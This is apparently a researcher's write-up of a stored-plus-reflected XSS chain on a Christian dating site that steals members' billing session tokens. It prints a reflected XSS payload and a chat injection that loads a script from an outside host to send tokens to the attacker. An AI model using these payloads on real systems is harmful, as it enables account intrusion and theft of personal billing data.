Cross origin CSRF via stored and reflected XSS
Poking around on the highly marketed Christian dating site, Christian Mingle, I was curious if I could locate any simple CSRF or XSS vulnerabilities; and well this lead to a string of XSS attacks that would ultimately give me member’s billing addresses. To successfully mount the attack, the attacker must only get a member to open a chat session and stored XSS will take care of the rest.
Two domains are in play here (think same-origin policy):
- http://connect.christianmingle.com/ – Used for member chat
- http://www.christianmingle.com/ – Used for account management and member catalog
Since the “www” site was used for account management I started to look for parameters that would be good CSRF candidates. Since session cookies were “HttpOnly” protected and the password resets required knowledge of the current password, I looked to requests dealing with billing. At first glance this didn’t seem like it would work either since billing was handled by a 3rd party website. However, upon further review a unique session token was generated on the “www” domain to hand off the transaction.
Figure: Update Billing
Clicking to update billing information will redirect the member to the change_payment_method.html webpage which generates the session token, and then immediately redirects to https://secure.sparks.net/ with the token submitted in the requestData HTTP POST parameter.
Figure: Generate session token
Figure: Session token grants access to billing info on secure.spark.net
In order to access a member’s billing information, we’ll need their browser to request access to the billing page and send us the generated session token.
At this point I identified that there was a straightforward stored XSS vulnerability within chat so I could easily do a remote Javascript include forcing chat recipients to request the billing page and send their tokens to my web server. As I was writing up my proof of concept code I failed to realize the chat server and account management server were on two different domains (see above). As a result, same-origin policy would prevent me from retrieving data from the “www” server when the request originated from the “connect” server used for chat. So basically this meant to execute the attack I would have to find another XSS vulnerability on the “www” server. Most parameters seemed to do output encoding until I came across the following page:
http://www.christianmingle.com/search/ynm_slideshow.html?ynm_small=1&sid=1756818456&ts=1378563376&search_type=ynm&sdone=false
After a few tries, the following request parameter succeeded to execute for XSS:
&sid=1756818456″)}</script><script>alert(0)</script>
So after this I was finally able to put together the following proof of concept together to perform CSRF to retrieve the session token via a stored and reflected XSS:
Figure: Script1.js hosted on some web server
Figure: Script2.js hosted on some web server
Now to get the party started just send this in chat:
<script src=”http://1.1.1.1/script1.js”></script>
Monitor your web logs and wait for the token to show up in the requestData GET parameter.